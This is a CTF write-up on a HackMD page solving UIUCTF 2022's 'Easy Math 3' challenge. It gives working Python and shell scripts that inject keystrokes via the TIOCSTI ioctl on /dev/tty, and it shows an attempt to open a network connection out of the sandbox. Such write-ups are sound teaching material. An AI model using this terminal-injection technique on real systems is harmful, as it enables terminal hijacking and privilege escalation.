cupr1c
    • Create new note
    • Create a note from template
      • Sharing URL Link copied
      • /edit
      • View mode
        • Edit mode
        • View mode
        • Book mode
        • Slide mode
        Edit mode View mode Book mode Slide mode
      • Customize slides
      • Note Permission
      • Read
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Write
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Engagement control Commenting, Suggest edit, Emoji Reply
    • Invite by email
      Invitee

      This note has no invitees

    • Publish Note

      Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note

      Your note will be visible on your profile and discoverable by anyone.
      Your note is now live.
      This note is visible on your profile and discoverable online.
      Everyone on the web can find and read all notes of this public team.
      See published notes
      Unpublish note
      Please check the box to agree to the Community Guidelines.
      View profile
    • Commenting
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
      • Everyone
    • Suggest edit
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
    • Emoji Reply
    • Enable
    • Versions and GitHub Sync
    • Note settings
    • Note Insights
    • Engagement control
    • Transfer ownership
    • Delete this note
    • Save as template
    • Insert from template
    • Import from
      • Dropbox
      • Google Drive
      • Gist
      • Clipboard
    • Export to
      • Dropbox
      • Google Drive
      • Gist
    • Download
      • Markdown
      • HTML
      • Raw HTML
Menu Note settings Versions and GitHub Sync Note Insights Sharing URL Create Help
Create Create new note Create a note from template
Menu
Options
Engagement control Transfer ownership Delete this note
Import from
Dropbox Google Drive Gist Clipboard
Export to
Dropbox Google Drive Gist
Download
Markdown HTML Raw HTML
Back
Sharing URL Link copied
/edit
View mode
  • Edit mode
  • View mode
  • Book mode
  • Slide mode
Edit mode View mode Book mode Slide mode
Customize slides
Note Permission
Read
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Write
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Engagement control Commenting, Suggest edit, Emoji Reply
  • Invite by email
    Invitee

    This note has no invitees

  • Publish Note

    Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note

    Your note will be visible on your profile and discoverable by anyone.
    Your note is now live.
    This note is visible on your profile and discoverable online.
    Everyone on the web can find and read all notes of this public team.
    See published notes
    Unpublish note
    Please check the box to agree to the Community Guidelines.
    View profile
    Engagement control
    Commenting
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    • Everyone
    Suggest edit
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    Emoji Reply
    Enable
    Import from Dropbox Google Drive Gist Clipboard
       owned this note    owned this note      
    Published Linked with GitHub
    Subscribed
    • Any changes
      Be notified of any changes
    • Mention me
      Be notified of mention me
    • Unsubscribe
    Subscribe
    # Easy Math 3 ![](https://i.imgur.com/CtGcFKI.jpg =x300) _"student wearing an eyepatch taking a proctored math exam, cartoon style"_ Writeup by: Kevin He (name on team: `cupr1c`) Team: Phiat Lux ## Overview - CTF: UIUCTF 2022 - Category: Pwn - Points: 426 - Solves: 12 This is the most difficult among the three challenges in the "Easy Math" series. The idea behind Easy Math 1,2,3 is that you are presented with a "math exam" (implemented as a set-UID binary `easy-math`) to multiply small numbers. The math is the easy part. The hard part is that there are 10000 questions and it is infeasible to manually do it (and indeed impossible for Easy Math 2,3 as we will see), and the binary detects stdin redirection to thwart automated "cheating" scripts. ## Attachments ### Local Setup `easy-math.c`, the source code of the set-UID binary on the remote side can be found in [my Gist](https://gist.github.com/kevin-he-01/4fe2f02204e31500e4ea6ad318164300). ### Remote Connection details :::warning :warning: The infrastructure is likely going to be down a week past the competition is over, so don't expect that you will actually be able to connect. Download files from my gist above if you would like to reproduce the infrastructure. ::: - Easy Math 1: `ssh ctf@easy-math.chal.uiuc.tf` password is `ctf` - Easy Math 2: `ssh ctf-part-2@easy-math.chal.uiuc.tf` password is also `ctf` - Easy Math 3: `ssh ctf-part-3@easy-math.chal.uiuc.tf` password is `6d49a6fb` :::info I personally like using `sshpass` instead so I can integrate the commands into a script easily. To connect to those challenges, I used these commands instead: ``` sshpass -p ctf ssh ctf@easy-math.chal.uiuc.tf sshpass -p ctf ssh ctf-part-2@easy-math.chal.uiuc.tf sshpass -p 6d49a6fb ssh ctf-part-3@easy-math.chal.uiuc.tf ``` My solve scripts may require you to have the [sshpass](https://sourceforge.net/projects/sshpass/) command installed. It can be easily installed on Debian-like systems with ``` sudo apt install sshpass ``` ::: :::danger :rotating_light: **Do not** use `sshpass` with the `-p` flag to pass secret passwords to the SSH servers you care about. On a multi-user system, command line arguments of every process can be extracted easily by **any** user on the system using `ps`. Here it is fine since the SSH account is supposed to be public. ::: ## Solution Even though this is a writeup for Easy Math 3, I will explain how I developed my exploit progressively starting with Easy Math 1. ### Easy Math 1 Running SSH on Easy Math 1 gives: ``` $ ssh ctf@easy-math.chal.uiuc.tf ctf@easy-math.chal.uiuc.tf's password: == proof-of-work: disabled == ctf@test-center:~$ ls README easy-math easy-math.c flag ctf@test-center:~$ ./easy-math Welcome to the MATH 101 final exam. Checking your student ID... The test begins now. You have three hours. Question 1: 3 * 1 = 3 Question 2: 14 * 0 = 0 Question 3: 1 * 8 = 8 Question 4: 15 * 6 = bad You have failed the test. ``` If you try to redirect stdin, the binary detects it: ``` ctf@test-center:~$ echo -n 42 | ./easy-math Welcome to the MATH 101 final exam. Checking your student ID... The proctor kicks you out for pretending to be a student. ctf@test-center:~$ ./easy-math < /dev/null Welcome to the MATH 101 final exam. Checking your student ID... The proctor kicks you out for pretending to be a student. ``` Looking at the source code of [easy-math.c](https://gist.github.com/kevin-he-01/4fe2f02204e31500e4ea6ad318164300#file-easy-math-c), specifically the "Check your student ID..." part, I found that the binary checks if stdin is the same as the original terminal (stdin of PID 1, the root process in the container): ```c=29 int check_id() { printf("Checking your student ID...\n\n"); sleep(1); struct stat real, given; if (stat("/proc/1/fd/0", &real)) return 1; if (fstat(0, &given)) return 1; if (real.st_dev != given.st_dev) return 1; if (real.st_ino != given.st_ino) return 1; return 0; } ``` For now the easiest solution appears to be hiding my solve script locally, since the SSH server cannot detect anything on the client side. It is a nice exercise to write such a script, which I will include in a spoiler below: :::spoiler Solve script for Easy Math 1 ```python= from typing import Any from pwn import * context.log_level = 'debug' p = process(['sshpass', '-p', 'ctf', 'ssh', 'ctf@easy-math.chal.uiuc.tf']) send: Any = p.sendline send(b'./easy-math') p.recvuntil(b'The test begins now. You have three hours.') for i in range(10000): p.recvuntil(': ') fn = int(p.recvuntil(' * ', drop=True)) sn = int(p.recvuntil(' = ', drop=True)) print(fn, sn) send(str(fn * sn).encode()) p.interactive() ``` ::: <p></p> After waiting for the script to finish [^1], we are greeted with the flag and a message telling you that this solution will not work for Easy Math 2 or 3: ```! Nice job! Now, the question is, did you do it the fun way, or by hiding behind your ssh client? Part 1 flag: uiuctf{now do it the fun way :D} To solve part 2, use `ssh ctf-part-2@easy-math.chal.uiuc.tf` (password is still ctf) This time, your input is sent in live, but you don't get any output until after your shell exits. ``` ### Easy Math 2 and 3 For easy math 2 and 3, `ssh` will no longer echo back anything, and you must type all the commands blindfolded. This is intended to force you to resort to automated solutions that run entirely on the remote machine [^2], and carefully avoid being caught _cheating_ by the proctor. #### The first (failed) attempt I cannot think of any immediate way to solve these challenges without redirecting input. The key thing that prevents us from adapting the solution from Easy Math 1 is that a local solve script cannot get any information on what the questions are on the remote side, since the exam is blindfolded. The usage of a _cryptographically strong_ `/dev/urandom` device prevents the script from predicting the questions also. The first thing I tried is to see if I can leak any information out of the "test center" through side-channels other than standard output. My first idea is to "phone home" via the network. Since there is no `ping`, `curl`, `ip`, or `ifconfig` command installed on the SSH remote, I have to resort to Python to check if there is any network connectivity: ``` ctf@test-center:~$ python3 Python 3.6.9 (default, Jun 29 2022, 11:45:57) [GCC 8.4.0] on linux Type "help", "copyright", "credits" or "license" for more information. >>> import socket >>> s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) >>> s.connect(('93.184.216.34', 80)) # 93.184.216.34: IP of www.example.com, TCP/80: HTTP Traceback (most recent call last): File "<stdin>", line 1, in <module> OSError: [Errno 101] Network is unreachable ``` ![](https://i.imgur.com/Cyywf87.png =x300) _"no cell phones sign on a wall"_ Guess my exploit cannot phone home at the test center, which makes sense, so I decided to give up this approach. #### The second (successful) attempt Now let's look for an "honest" solution that runs entirely on the remote side (doing what the challenge author calls the _fun_ way). It would be nice if there is a way to send input directly to the raw terminal device, since that would allow me to pretend to be the "student" without redirecting input, so the "proctor" would not notice. The terminal in Linux is represented by the `/dev/tty` device. As long as the SSH session actually allocates a TTY, stdin (FD 0) and stdout (FD 1) of an interactive process defaults to `/dev/tty` unless redirected. Reading from `/dev/tty` will read stuff from the terminal user, and writing to `/dev/tty` will write stuff on the terminal screen. This way stdin and stdout just work auto-magically for a process. However, we are looking for a way to _write_ to the terminal _input_, which is not achieved by either `read()` or `write()` on `/dev/tty`. It turns out there is another system call designed specifically to manipulate terminal devices: `ioctl()`. I remembered once reading about [a vulnerability](https://ruderich.org/simon/notes/su-sudo-from-root-tty-hijacking) in `su`/`sudo` [^3], where an unprivileged user (after being impersonated by a superuser using `su`/`sudo`) can take her revenge and inject malicious keystrokes into the terminal using the `TIOCSTI` `ioctl` on `/dev/tty`. Normally the keystrokes go into the user's own processes, but if the user process decides to exit, the keystrokes goes to the terminal of the _superuser_, who is likely running a shell! This is exactly what we are looking for: by writing input with the terminal while the `easy-math` binary is running, we can inject keystrokes to answer the questions. In addition, since we are running on the remote side, and unlike it does for stdin, `easy-math` does nothing to check that stdout goes to the terminal, so we can pipe its output to our malicious script like this: ```bash ./easy-math | python3 solve.py ``` This allows our malicious script full control over both the output and input of `easy-math`. #### The Attack Fortunately, despite being a very high level language, Python has a rich API for system calls. To perform the `ioctl` syscall, we can use the `fcntl` module and even get constants from `termios`. Other people have approached this by compiling a C binary that does the system call, which adds the overhead of process creation and can potentially slow down the solve. By modifying the solve script of "Easy Math 1" (change where the I/O goes), I made the Python script to be run on the remote machine: :::spoiler `solve.py` ```python= import fcntl, termios import sys from typing import IO pout = sys.stdin # Read a single line from stdout of ./easy-math def readline(): line = pout.readline() if line == '': raise EOFError return line tty = open('/dev/tty', 'rb') # Send string into stdin of ./easy-math def send(s: str): for c in s: fcntl.ioctl(tty, termios.TIOCSTI, c.encode()) readline() readline() readline() def recvuntil(io: IO[str], dc: str) -> str: def chars(): while True: c = io.read(1) if c == '': raise EOFError yield c if c == dc: break return ''.join(chars()) for i in range(10000): recvuntil(pout, ':') pout.read(1) # space line = recvuntil(pout, '=') pout.read(1) # space star = line.find(' * ') eq = line.find(' =') fn = line[:star] sn = line[star+3:eq] send(str(int(fn) * int(sn)) + '\n') # Make sure to dump the flag. The most important thing to do in a CTF # Will eventually throw EOFError but we don't care while True: print(readline()) ``` ::: <p></p> Then we have to send this file to the SSH remote and pipe `./easy-math` to it, I decided to write a script that does exactly this in a fully automated fashion: :::spoiler `connect.sh` ```bash= #! /bin/sh # Use a token that DOES NOT show up in your solve.py # See this tutorial on bash here strings: https://tldp.org/LDP/abs/html/x17837.html token='HERE' # Output the commands to send to the SSH shell gen_cmds () { echo "tee /tmp/solve.py << $token" cat solve.py # Include the **contents** of solve.py echo "$token" echo './easy-math | python3 /tmp/solve.py; exit' } # Must use the -tt flag to FORCE ssh to allocate a TTY on the remote side # (even if the local stdin is redirected), # since the exploit depends on the availability of /dev/tty # Uncomment for PART 3: gen_cmds | sshpass -p 6d49a6fb ssh -tt ctf-part-3@easy-math.chal.uiuc.tf # Uncomment for PART 2: # gen_cmds | sshpass -p ctf ssh -tt ctf-part-2@easy-math.chal.uiuc.tf ``` ::: <p></p> Some explanations for that script: `gen_cmds` generates the commands to be sent to SSH. One can try modifying the script to just run `gen_cmds` without piping to see what commands it generates. `tee <file>` is a trick where it reads from standard input and writes to both stdout and the file. It behaves like a non-interactive text editor and is useful in automated scripts. There is a feature in bash called [here strings](https://tldp.org/LDP/abs/html/x17837.html). It is a neat way to specify the boundary between stdin of the `tee` command and subsequent commands, since sending the EOF character `^D` can be difficult to do non-interactively. #### The Flag Running `connect.sh` returns the :triangular_flag_on_post: in a few seconds (which is _orders of magnitude faster_ than the solution for easy math 1 shown above!). The numbers are the answers to the math questions and will change every time: ``` $ ./connect.sh ... 28 18 63 uiuctf{file descriptors are literally magic} Traceback (most recent call last): File "/tmp/solve.py", line 51, in <module> print(readline()) File "/tmp/solve.py", line 12, in readline raise EOFError EOFError logout --- Connection to easy-math.chal.uiuc.tf closed. ``` Looks like this is an unintended solution as we used no magic about file descriptors. The same technique can be used to solve Easy Math 2. A list of file captured this way is here: :::info Easy Math 1: `uiuctf{now do it the fun way :D}` Easy Math 2: `uiuctf{excellent execution}` Easy Math 3: `uiuctf{file descriptors are literally magic}` ::: ## Thoughts The `su`/`sudo` vulnerability inspired me to make the pwn challenge [HAXLAB S](https://github.com/acmucsd/sdctf-2021/tree/main/pwn/haxlab-s) for SDCTF 2021, where the basic idea is that via `seccomp` rules one is restricted from doing anything except `read`, `write`, and `ioctl` on already open file descriptors. It is interesting how often the `TIOCSTI` feature can be abused to create vulnerabilities, such as this [bubblewrap](https://nvd.nist.gov/vuln/detail/CVE-2017-5226) one, since developers of sandboxes generally assume the terminal is trusted. OpenBSD --- a very security-focused OS --- decided to [remove this dangerous `ioctl` altogether](https://undeadly.org/cgi?action=article;sid=20170701132619) so solve the root cause. Unfortunately, this is where Linux chooses to maintain backward compatibility over security. [^1]: It took more than 10 minutes for me but YMMV since the time greatly depends on the network latency/ping as your script runs locally and is essentially playing ping-pong with the server [^2]: Easy Math 2 actually has an unintended solution that allows solving it in a similar way as Easy Math 1. This is "patched" in Easy Math 3 [^3]: As far as I know this severe vulnerability --- which can easily result in privilege escalation on multi-user systems --- is still essentially _unpatched_ (!) in most Linux distributions without the use of special CLI flags due to concerns on backward compatibility.

    Import from clipboard

    Paste your markdown or webpage here...

    Advanced permission required

    Your current role can only read. Ask the system administrator to acquire write and comment permission.

    This team is disabled

    Sorry, this team is disabled. You can't edit this note.

    This note is locked

    Sorry, only owner can edit this note.

    Reach the limit

    Sorry, you've reached the max length this note can be.
    Please reduce the content or divide it to more notes, thank you!

    Import from Gist

    Import from Snippet

    or

    Export to Snippet

    Are you sure?

    Do you really want to delete this note?
    All users will lose their connection.

    Create a note from template

    Create a note from template

    Oops...
    This template has been removed or transferred.
    Upgrade
    All
    • All
    • Team
    No template.

    Create a template

    Upgrade

    Delete template

    Do you really want to delete this template?
    Turn this template into a regular note and keep its content, versions, and comments.

    This page need refresh

    You have an incompatible client version.
    Refresh to update.
    New version available!
    See releases notes here
    Refresh to enjoy new features.
    Your user state has changed.
    Refresh to load new user state.

    Sign in

    Forgot password

    or

    By clicking below, you agree to our terms of service.

    Sign in via Facebook Sign in via Twitter Sign in via GitHub Sign in via Dropbox Sign in with Wallet
    Wallet ( )
    Connect another wallet

    New to HackMD? Sign up

    Help

    • English
    • 中文
    • Français
    • Deutsch
    • 日本語
    • Español
    • Català
    • Ελληνικά
    • Português
    • italiano
    • Türkçe
    • Русский
    • Nederlands
    • hrvatski jezik
    • język polski
    • Українська
    • हिन्दी
    • svenska
    • Esperanto
    • dansk

    Documents

    Help & Tutorial

    How to use Book mode

    Slide Example

    API Docs

    Edit in VSCode

    Install browser extension

    Contacts

    Feedback

    Discord

    Send us email

    Resources

    Releases

    Pricing

    Blog

    Policy

    Terms

    Privacy

    Cheatsheet

    Syntax Example Reference
    # Header Header 基本排版
    - Unordered List
    • Unordered List
    1. Ordered List
    1. Ordered List
    - [ ] Todo List
    • Todo List
    > Blockquote
    Blockquote
    **Bold font** Bold font
    *Italics font* Italics font
    ~~Strikethrough~~ Strikethrough
    19^th^ 19th
    H~2~O H2O
    ++Inserted text++ Inserted text
    ==Marked text== Marked text
    [link text](https:// "title") Link
    ![image alt](https:// "title") Image
    `Code` Code 在筆記中貼入程式碼
    ```javascript
    var i = 0;
    ```
    var i = 0;
    :smile: :smile: Emoji list
    {%youtube youtube_id %} Externals
    $L^aT_eX$ LaTeX
    :::info
    This is a alert area.
    :::

    This is a alert area.

    Versions and GitHub Sync
    Get Full History Access

    • Edit version name
    • Delete

    revision author avatar     named on  

    More Less

    Note content is identical to the latest version.
    Compare
      Choose a version
      No search result
      Version not found
    Sign in to link this note to GitHub
    Learn more
    This note is not linked with GitHub
     

    Feedback

    Submission failed, please try again

    Thanks for your support.

    On a scale of 0-10, how likely is it that you would recommend HackMD to your friends, family or business associates?

    Please give us some advice and help us improve HackMD.

     

    Thanks for your feedback

    Remove version name

    Do you want to remove this version name and description?

    Transfer ownership

    Transfer to
      Warning: is a public team. If you transfer note to this team, everyone on the web can find and read this note.

        Link with GitHub

        Please authorize HackMD on GitHub
        • Please sign in to GitHub and install the HackMD app on your GitHub repo.
        • HackMD links with GitHub through a GitHub App. You can choose which repo to install our App.
        Learn more  Sign in to GitHub

        Push the note to GitHub Push to GitHub Pull a file from GitHub

          Authorize again
         

        Choose which file to push to

        Select repo
        Refresh Authorize more repos
        Select branch
        Select file
        Select branch
        Choose version(s) to push
        • Save a new version and push
        • Choose from existing versions
        Include title and tags
        Available push count

        Pull from GitHub

         
        File from GitHub
        File from HackMD

        GitHub Link Settings

        File linked

        Linked by
        File path
        Last synced branch
        Available push count

        Danger Zone

        Unlink
        You will no longer receive notification when GitHub file changes after unlink.

        Syncing

        Push failed

        Push successfully